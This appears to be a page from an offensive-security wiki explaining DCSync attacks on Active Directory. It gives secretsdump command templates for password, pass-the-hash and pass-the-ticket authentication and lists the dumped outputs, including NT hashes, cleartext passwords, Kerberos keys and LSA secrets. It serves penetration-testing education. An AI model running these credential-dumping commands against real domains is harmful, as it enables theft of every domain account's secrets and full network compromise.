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  • OFFENSIVE SECURITY
    • External Infrastructure
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      • Credential Discovery
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On this page
  • Overview
  • Remotely performing a DCSync
  • secretsdump output
  1. OFFENSIVE SECURITY
  2. Internal Infrastructure
  3. Credential Discovery

DCSync

How to find sensitive data using a DCSync.

PreviousLSASS secretsNextDPAPI secrets

Last updated 10 months ago

Overview

A DCSync is similar to dumping a NTDS.dit file. However, rather than copying and extracting data from NTDS.dit, DCSync uses Windows APIs with the domain controller to replicate the domains data.

To conduct this account, a domain administrator is requried or a user with the privileges: DS-Replication-Get-Changes and DS-Replication-Get-Changes-All.

Remotely performing a DCSync

The easiest way to perform a DCSync is to use secretsdump.

secretsdump.py performs various techniques to dump password hashes and secrets.

DCSync using a plaintext password

secretsdump -outputfile 'data' <DOMAIN>/<USER>:<PASSWORD>@<DOMAINCONTROLLER>

DCSync using Pass-the-Hash

secretsdump -outputfile 'data' -hashes <LMhash>:<NThash> <DOMAIN>/<USER>@<DOMAINCONTROLLER>

DCSync using Pass-the-Ticket

secretsdump -k -outputfile 'data' <DOMAIN>/<USER>@<DOMAINCONTROLLER>

secretsdump output

The secretsdump script will output the following files from the DCSync:

  • .ntds

    • LM and NT password hashes which can be used with hash cracking.

  • .cleartext

    • Passwords stored using reversible encryption

  • .kerberos

    • Kerberos keys (DES, AES128 and AES256)

  • .sam

    • Domain controller's SAM secrets

  • .secrets

    • Domain controller's LSA secrets

https://github.com/fortra/impacket/blob/master/examples/secretsdump.py